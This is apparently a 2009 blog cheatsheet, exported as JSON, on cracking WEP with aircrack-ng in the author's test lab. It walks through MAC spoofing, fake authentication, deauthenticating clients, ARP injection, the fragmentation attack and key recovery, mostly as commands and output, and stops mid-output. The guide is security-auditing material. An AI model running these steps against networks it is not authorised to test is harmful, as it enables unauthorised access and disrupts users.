{"id":1554,"date":"2009-02-20T03:34:16","date_gmt":"2009-02-20T01:34:16","guid":{"rendered":"http:\/\/www.corelan.be:8800\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/"},"modified":"2009-02-20T03:34:16","modified_gmt":"2009-02-20T01:34:16","slug":"cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/","title":{"rendered":"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng"},"content":{"rendered":"<p>I know, there a probably already a zillion number of websites that show how to crack WEP.<\/p>\n<p>So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I\u2019m putting this info on this blog because I just wanted it as a quick reference- or cheatsheet, in case I forget some about particular commands\/parameters again :-)&#160; And why rely on other websites that may or may not be reachable when you need them \ud83d\ude42<\/p>\n<h3>Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network<\/h3>\n<p>The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.<\/p>\n<p>In this scenario, I have 2 clients that are currently connected to the wireless network. <\/p>\n<p>My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122).&#160; Both adapters will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.<\/p>\n<p>The process of cracking the wep key for this scenario is<\/p>\n<ul>\n<li>Put wireless interface in monitor mode (<em><font color=\"#0080c0\">airmon-ng start wireless_interface<\/font><\/em>) <\/li>\n<li>Find wireless network (channel, BSSID and ESSID)&#160; (<em><font color=\"#0080c0\">airodump-ng wireless_interface_in_monitor_mode<\/font><\/em>) <\/li>\n<li>Find a valid \/ connected client (MAC Address) <\/li>\n<li>Wait until client is gone and change mac address to valid client MAC&#160; (<font color=\"#0080c0\"><em>airmon-ng stop wireless_int<\/em>, <em>ifconfig wireless_int down, macchanger \u2013m XX:XX:XX:XX:XX:XX wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int<\/em><\/font>) <\/li>\n<li>Associate with AP and inject ARP packets (<em><font color=\"#0080c0\">airodump-ng \u2013c &lt;channel&gt; \u2013-ivs \u2013w \/tmp\/filename wireless_int_in_monitormode, aireplay-ng --fakeauth 0 \u2013a &lt;BSSID&gt; \u2013h &lt;local MAC&gt; \u2013e ESSID wireless_int_in_monitormode&gt;, aireplay-ng -3 -b &lt;BSSID&gt; wireless_int_in_monitor_mode<\/font><\/em>)&#160;&#160;&#160;&#160;&#160; <\/li>\n<li>If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (<em><font color=\"#0080c0\">aireplay-ng --deauth 0 -a BSSID \u2013c CLientMAC wireless_int_in_monitor_mode<\/font><\/em>) <\/li>\n<li>Save IV\u2019s to file and crack the key (<em><font color=\"#0080c0\">airocrack-ng \u20130 \u2013b BSSID \/tmp\/filename.ivs<\/font><\/em>) <\/li>\n<\/ul>\n<p>In all cases, in all scenario\u2019s, the most important component is verifying that you can associate with an AP. You\u2019ll learn some techniques on how to do this in this blog. But let\u2019s not jump ahead.<\/p>\n<p>First, list the adapters :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# airmon-ng\n\nInterface       Chipset         Driver\n\nwifi0           Atheros         madwifi-ng\nwlan0           Ralink 2573 USB rt73usb - [phy0]\nath0            Atheros         madwifi-ng VAP (parent: wifi0)<\/pre>\n<\/div>\n<p>The wifi0 adapter is the proxim pcmcia card.&#160; wlan0 is the Dlink USB adapter.&#160; For this test, we\u2019ll use the proxim card (wifi0).&#160; The mac address of this card is 00:20:A6:4F:A9:41&#160; (you can get the mac address by running \u2018ifconfig wifi0\u2019)<\/p>\n<p>First, put the card in monitor mode :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# airmon-ng start wifi0\n\nInterface       Chipset         Driver\n\nwifi0           Atheros         madwifi-ng\nwlan0           Ralink 2573 USB rt73usb - [phy0]\nath0            Atheros         madwifi-ng VAP (parent: wifi0)\nath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)<\/pre>\n<\/div>\n<p>A new interface called \u201cath1\u201d has been created. This interface is the one we are going to use in order to find the wireless networks. Launch \u201cairodump-ng ath1\u201d to hop all channels and show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# airodump-ng ath1\n\nCH  1 ][ Elapsed: 1 min ][ 2009-02-19 14:05                                         \n\n BSSID              PWR  Beacons    #Data, #\/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    \n\n 00:14:BF:89:9C:D3   34      104        0    0  11  54 . WEP  WEP         TestNet                                                   \n\n BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           \n\n 00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   55   0- 1      0       12  TestNet\n 00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     32      441  TestNet   <\/pre>\n<\/div>\n<p>Ok, so we have found a network with ESSID \u201cTestNet\u201d, operating at channel 11. Apparently there are 2 clients connected to this AP.<\/p>\n<p>Let\u2019s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3<\/p>\n<p>First, run airodump-ng again, but set it to look at channel 11.&#160; This is required for the AP association\/authentication (via aireplay-ng) to operate at channel 11 as well (because you cannot specify the channel to use when running aireplay-ng) :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:\/# airodump-ng --channel 11 ath1<\/pre>\n<\/div>\n<p>Leave the airodump-ng running for now and run the following aireplay-ng command to perform a \u2018fake authentication\u2019 attempt :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1\nNo source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)\n14:14:50  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\n\n14:14:50  Sending Authentication Request (Open System) [ACK]\n14:14:50  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?\nAuthentication failed (code 1)\n\n14:14:53  Sending Authentication Request (Open System) [ACK]\n14:14:53  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?\nAuthentication failed (code 1)<\/pre>\n<\/div>\n<p>Ok \u2013 Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using the \u2013h parameter), but we\u2019ll change the MAC address on our interface (which will make all future commands shorter)<\/p>\n<p>First, kill the airodump-ng process.&#160; Take wifi0 (ath1) out of monitoring mode :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# airmon-ng stop ath1\n\nInterface       Chipset         Driver\n\nwifi0           Atheros         madwifi-ng\nwlan0           Ralink 2573 USB rt73usb - [phy0]\nath0            Atheros         madwifi-ng VAP (parent: wifi0)\nath1            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)\n\nroot@bt:~# airmon-ng\n\nInterface       Chipset         Driver\n\nwifi0           Atheros         madwifi-ng\nwlan0           Ralink 2573 USB rt73usb - [phy0]\nath0            Atheros         madwifi-ng VAP (parent: wifi0)<\/pre>\n<\/div>\n<p>Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# ifconfig wifi0 down\nroot@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0\nCurrent MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.)\nFaked MAC:   00:1c:bf:90:5b:a3 (unknown)\nroot@bt:~# ifconfig wifi0 up\nroot@bt:~# airmon-ng start wifi0\n\nInterface       Chipset         Driver\n\nwifi0           Atheros         madwifi-ng\nwlan0           Ralink 2573 USB rt73usb - [phy0]\nath0            Atheros         madwifi-ng VAP (parent: wifi0)\nath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)\n\nroot@bt:~# ifconfig ath1\nath1      Link encap:UNSPEC  HWaddr 00-1C-BF-90-5B-A3-D0-03-00-00-00-00-00-00-00-00\n          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1\n          RX packets:106 errors:0 dropped:0 overruns:0 frame:0\n          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0\n          collisions:0 txqueuelen:0\n          RX bytes:9448 (9.4 KB)  TX bytes:0 (0.0 B)<\/pre>\n<\/div>\n<p>Ok, looks good<\/p>\n<p>Let\u2019s see if it makes a difference.&#160; Run airodump-ng again (<em>airodump-ng \u2013c 11 ath1<\/em>) and then try to perform the fake authentication again<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:\/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n14:20:19  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\n\n14:20:19  Sending Authentication Request (Open System) [ACK]\n14:20:19  Authentication successful\n14:20:19  Sending Association Request [ACK]\n14:20:19  Association successful :-) (AID: 1)<\/pre>\n<\/div>\n<p>If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1<\/pre>\n<\/div>\n<p>\u20131 6000 = reauthenticate every 6000 seconds<\/p>\n<p>-o 1 = only send one set of packets at a time<\/p>\n<p>-q 12= send keepalive packets every 12 seconds&#160;&#160; (sometimes, it works better without this last parameter)<\/p>\n<p>From this point forward, you should be able to associate with the AP. If not, there\u2019s no use in continuing with the process.<\/p>\n<p>Ok, now let\u2019s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv\u2019s to a file (parameter \u2013i&#160;&#160; or&#160; --ivs):<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# airodump-ng -c 11 -w \/tmp\/TestNetAudit1 -i ath1\n\nCH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24                                         \n\nBSSID              PWR RXQ  Beacons    #Data, #\/s  CH  MB   ENC  CIPHER AUTH ESSID                                                \n\n00:14:BF:89:9C:D3   34 100      135        0    0  11  54 . WEP  WEP    OPN  TestNet                                               \n\nBSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           \n\n00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   43   0- 1     10       84  TestNet                                                           <\/pre>\n<\/div>\n<p>The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.<\/p>\n<p>First, launch aireplay-ng in injection mode :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n14:26:55  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\nSaving ARP requests <span style=\"color: #0000ff\">in<\/span> replay_arp-0219-142655.cap\nYou should also start airodump-ng to capture replies.\nRead 243 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)<\/pre>\n<\/div>\n<p>(leave this running \u2013 wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv\u2019s) on the network). Some AP\u2019s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don\u2019t have a lot of time, it might help trying to associate yourself again :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1<\/pre>\n<\/div>\n<p>If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other client\u2026)<\/p>\n<p>Keep the aireplay-ng and airodump-ng running and run the deauth attack.<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:\/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath1\n14:38:15  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\nNB: <span style=\"color: #0000ff\">this<\/span> attack <span style=\"color: #0000ff\">is<\/span> more effective when targeting\na connected wireless client (-c &lt;client's mac&gt;).\n14:38:15  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]\n14:38:16  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]\n14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]\n14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]\n14:38:18  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]\n14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]\n14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]<\/pre>\n<\/div>\n<p>If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that the ARP injection process starts to work :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n14:39:08  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\nSaving ARP requests <span style=\"color: #0000ff\">in<\/span> replay_arp-0219-143908.cap\nYou should also start airodump-ng to capture replies.\nRedd 7951 packets (got 878 ARP requests and 589 ACKs), sent 7116 packets...(499 pps)<\/pre>\n<\/div>\n<p>&#160;<\/p>\n<p>At the same time, you should start to see the number of data packets increasing rapidly :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ]                                          \n\nBSSID              PWR RXQ  Beacons    #Data, #\/s  CH  MB   ENC  CIPHER AUTH ESSID                                                \n\n00:14:BF:89:9C:D3   34  97     4582   <strong><font color=\"#ff0000\"> 41799<\/font><\/strong>  814  11  54 . WEP  WEP    OPN  TestNet\n\nBSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           \n\n00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     46     2495  TestNet\n00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   34  54- 1      0    51017  TestNet <\/pre>\n<\/div>\n<p>For a 128bit WEP key, you\u2019ll probably need between 80000 and 250000 data packets.&#160; However you don\u2019t need to wait until you\u2019ve gathered all those packets. You can already try to break the key using the ivs file that is being generated.&#160; As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file and attempt to crack the key.<\/p>\n<p>By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot.&#160; So if your coverage is good, signal is strong, and the injection works well, it may go very fast.<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:\/# aircrack-ng \u20130 -b 00:14:BF:89:9C:D3 \/tmp\/TestNetAudit1-01.ivs\nOpening \/tmp\/TestNetAudit1-01.ivs\nReading packets, please wait...\n\nAircrack-ng 1.0 rc2 r1415\n\n[00:00:01] Tested 865 keys (got 140507 IVs)\n\n   KB    depth   <span style=\"color: #0000ff\">byte<\/span>(vote)\n    0    0\/  1   A3(203120) 73(160718) 31(256416) 18(156160) DD(154112) FE(153344)\n    1    0\/  9   EA(193816) 22(150440) AD(254880) 0D(153856) 9B(153856) 4B(153600)\n    2    0\/  1   D3(212716) AD(197696) 22(135904) E6(153601) 4A(153334) 89(151208)\n    3    7\/  3   AA(153630) 1F(122064) B0(141808) BB(151552) 3C(151040) F8(150724)\n    4   13\/  4   DD(150086) 23(139760) 05(129534) E4(149504) 04(149248) 70(149238) \n\n             KEY FOUND! [ A3:EA:D3:AA:DD:73:22:AD:1F:23:31:AD:22 ]\n        Decrypted correctly: 100%<\/pre>\n<\/div>\n<p>If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.<\/p>\n<p>If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.<\/p>\n<p>In my case, the key was cracked in 1 second.&#160; The total process took about 10 minutes.<\/p>\n<p>The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104<\/p>\n<p>(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)<\/p>\n<p>&#160;<\/p>\n<h3>Scenario 2 : WEP encryption, OPEN Authentication, MAC filtering enabled (?), no active clients<\/h3>\n<p>Ok, first of all, if MAC filtering is enabled and there are no active clients, it\u2019s going to be difficult to get a valid MAC address that is allowed to associate with the AP.&#160;&#160; I guess it makes the wireless network a bit safer, but a whole lot more useless as well. \ud83d\ude42<\/p>\n<p>So assuming that there is no MAC filtering, or you have managed to get a valid MAC address of a client (earlier, or by bruteforcing mac addresses \ud83d\ude42 ), then this is what you can do if there are <u>no active clients <\/u>connected to the network at the time of the audit :<\/p>\n<li>Put wireless interface in monitor mode (<em><font color=\"#0080c0\">airmon-ng start wireless_interface<\/font><\/em>) <\/li>\n<li>Find wireless network (BSSID and ESSID) (<em><font color=\"#0080c0\">airodump-ng wireless_interface_in_monitor_mode<\/font><\/em>) <\/li>\n<li>Associate with AP (<em><font color=\"#0080c0\">airodump-ng \u2013c &lt;channel&gt; \u2013-ivs \u2013w \/tmp\/filename wireless_int_in_monitormode, aireplay-ng --fakeauth 0 \u2013a &lt;BSSID&gt; \u2013h &lt;local MAC&gt; \u2013e ESSID wireless_int_in_monitormode&gt;<\/font><\/em>) <\/li>\n<li>Use fragmentation or chopchop attack and generate a valid custom arp packet (<font color=\"#0080c0\"><em>aireplay-ng \u20135 \u2013b &lt;BSSID&gt; wireless_int_in_monitormode,aireplay-ng \u20134 \u2013b &lt;BSSID&gt; \u2013h &lt;Local MAC&gt; wireless_int_in_monitor_mode, packetforge-ng\u2026<\/em>)<\/font> <\/li>\n<li>Inject custom ARP packet (<em><font color=\"#0080c0\">aireplay-ng \u20132 \u2013r custom_arp_packet.file wireless_int_in_monitor_mode<\/font><\/em>) <\/li>\n<li>Save IVs to file, crack the key, throw a party\n<p>The first 3 steps are similar to scenario 1. I\u2019ll assume that you are able to associate yourself with the AP (either using any MAC or using a valid MAC from the MAC filter list) and that you have your airodump-ng running, capturing ivs to a file.<\/p>\n<p>Let\u2019s try the fragmentation attack first (option \u20135)<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n18:29:43  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\n18:29:43  Waiting <span style=\"color: #0000ff\">for<\/span> a data packet...<\/pre>\n<\/p><\/div>\n<p>Wait until you are asked whether you want to use a packet that was captured. Review the packet (BSSID, dest mac, source mac) and make sure the packet comes from the Access Point.<\/p>\n<p>Sometimes you will need to try a couple of times before the system will respond correctly<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n18:48:14  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\n18:48:14  Waiting <span style=\"color: #0000ff\">for<\/span> a data packet...\nRead 3076 packets...\n\n        Size: 352, FromDS: 1, ToDS: 0 (WEP)\n\n              BSSID  =  00:14:BF:89:9C:D3\n          Dest. MAC  =  01:00:5E:7F:FF:FA\n         Source MAC  =  00:14:BF:89:9C:D1\n\n        0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........\n        0x0010:  0014 bf89 9cd1 9032 f342 c600 ec3e bc5d  .......2.B...&gt;.]\n        0x0020:  49b8 962e 631e f086 80e5 4337 dd4f 37a4  I...c.....C7.O7.\n        0x0030:  9e06 e370 1feb eb0e c38b 76d6 9ad7 8118  ...p......v.....\n        0x0040:  24e1 5d7e 5399 2fea 234c 7d1b 668c 23b5  $.]~S.\/.#L}.f.#.\n        0x0050:  fd83 d7de 7cf8 09df 85ba b692 8a62 a5bd  ....|........b..\n        0x0070:  d00e a197 2ca3 6446 60e6 0fc7 ab67 64d6  ....,.dF`....gd.\n        0x0080:  edab 525f 8cf1 9645 dadf cbce c12f 439d  ..R_...E.....\/C.\n        0x0090:  b0c3 6b7a 011e 3ced 00d5 2ed3 696c 4aae  ..kz..&lt;.....ilJ.\n        0x00a0:  638d 122a e307 9e62 4ed7 3475 2679 6168  c..*...bN.4u&amp;yah\n        0x00b0:  f465 4811 b31c 3d5e 0129 dc79 07c0 805a  .eH...=^.).y...Z\n        0x00c0:  22df 4e38 bb98 6136 2177 7062 8dea 8a4a  &quot;.N8..a6!wpb...J\n        0x00d0:  492d 62a6 52bc 2ef7 41f0 18b1 e12d 409d  I-b.R...A....-@.\n        --- CUT ---\n\nUse <span style=\"color: #0000ff\">this<\/span> packet ? y\n\nSaving chosen packet <span style=\"color: #0000ff\">in<\/span> replay_src-0219-184930.cap\n18:50:11  Data packet found!\n18:50:11  Sending fragmented packet\n18:50:11  Got RELAYED packet!!\n18:50:11  Trying to get 384 bytes of a keystream\n18:50:11  Got RELAYED packet!!\n18:50:11  Trying to get 1500 bytes of a keystream\n18:50:12  Got RELAYED packet!!\nSaving keystream <span style=\"color: #0000ff\">in<\/span> fragment-0219-185011.xor\nNow you can build a packet with packetforge-ng <span style=\"color: #0000ff\">out<\/span> of that 1500 bytes keystream<\/pre>\n<\/p><\/div>\n<p>You should get \u201cGot RELAYED packet!!\u201d in order to be successfull.<\/p>\n<p>Ok, now you can use the .xor file to generate and ARP packet that can be injected and will help to get IVs.&#160; In this command, you will have to specify the local MAC address (so make sure to use the correct MAC address. If you are using a fake MAC, then use this fake mac in the commandk)<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3\n  -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255\n  -y fragment-0219-185011.xor -w \/tmp\/my-arp-request\nWrote packet to: \/tmp\/my-arp-request<\/pre>\n<\/p><\/div>\n<p>(I\u2019ve put the command on 3 lines to improve readability \u2013 just make sure to put everything in one line)<\/p>\n<p>Ok, now the arp packet is ready. Let\u2019s inject it into the network<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -2 -r \/tmp\/my-arp-request ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n\n        Size: 68, FromDS: 0, ToDS: 1 (WEP)\n\n              BSSID  =  00:14:BF:89:9C:D3\n          Dest. MAC  =  FF:FF:FF:FF:FF:FF\n         Source MAC  =  00:1C:BF:90:5B:A3\n\n        0x0000:  0841 0201 0014 bf89 9cd3 001c bf90 5ba3  .A............[.\n        0x0010:  ffff ffff ffff 8001 0043 c600 1c3b d684  .........C...;..\n        0x0020:  8ffc a071 7759 1075 474b caae b7a6 5ad2  ...qwY.uGK....Z.\n        0x0040:  5c4c 2447                                